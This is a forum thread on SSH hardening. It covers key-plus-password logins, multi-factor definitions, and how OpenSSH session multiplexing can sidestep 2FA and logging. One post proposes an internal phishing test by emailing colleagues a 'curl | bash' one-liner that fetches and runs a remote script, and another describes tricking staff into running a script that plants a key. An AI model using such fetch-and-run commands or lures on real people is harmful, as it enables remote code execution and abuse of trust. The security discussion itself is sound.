Still a big fan of the BetterCrypto guide: https://bettercrypto.org/
SSH: Best practices
11–20 of 123 posts
Re: SSH: Best practices
#12Re: SSH: Best practices
#13SSH's new AuthenticationMethods directive is extremely useful for pairing SSH keys with a password and/or 2FA. You should absolutely use keys everywhere, and encourage your users to encrypt their keys, but enforcing a password as well ensures that logins are "something you have" (the SSH key) and "something you know" (the password) as a sort of 2FA. As a cherry on top you can put the password in LDAP or RADIUS server…
3 FA is :
* Something you have (normally one OR MORE user IDs)
* Something you know (normally the associated password or passwords for the user ID(s))
* Something you are (normally biometric)
[edit: technically, it's multi-factor when using multiple user/passwords - here's a useful link https://pciguru.wordpress.com/2010/05/01/one-two-and-three-f...]
Re: SSH: Best practices
#14The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging. All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up…
Re: SSH: Best practices
#15Re: SSH: Best practices
#16I bookmarked something similar: https://stribika.github.io/2015/01/04/secure-secure-shell.ht...
Re: SSH: Best practices
#17The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging. All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up…
so... your point is "don't run untrusted code"?
Re: SSH: Best practices
#18Earlier quoted context omitted.
Public keys being exposed isn't something I think needs to be mitigated. That's the whole point, they're public.
Security is not binary. In this case it depends on whether disclosing your identity to the servers you connect to is a problem in your threat model. Saying "they are public so it's ok" is technical oversimplification.
Re: SSH: Best practices
#19The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging. All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up…
so... your point is "don't run untrusted code"?
Get permission from your privacy and legal team before you do this of course. Write a small script in whatever language you like. Encode a ... gosh, don't even get that fancy. Just email them something silly from an external email address like:
curl -s https://tinyvpn.org/ | bash
Listen for how many mac users around you in your company suddenly start saying, "How do I stop this??" That one is meant for people that don't lock their computers, but the same applies.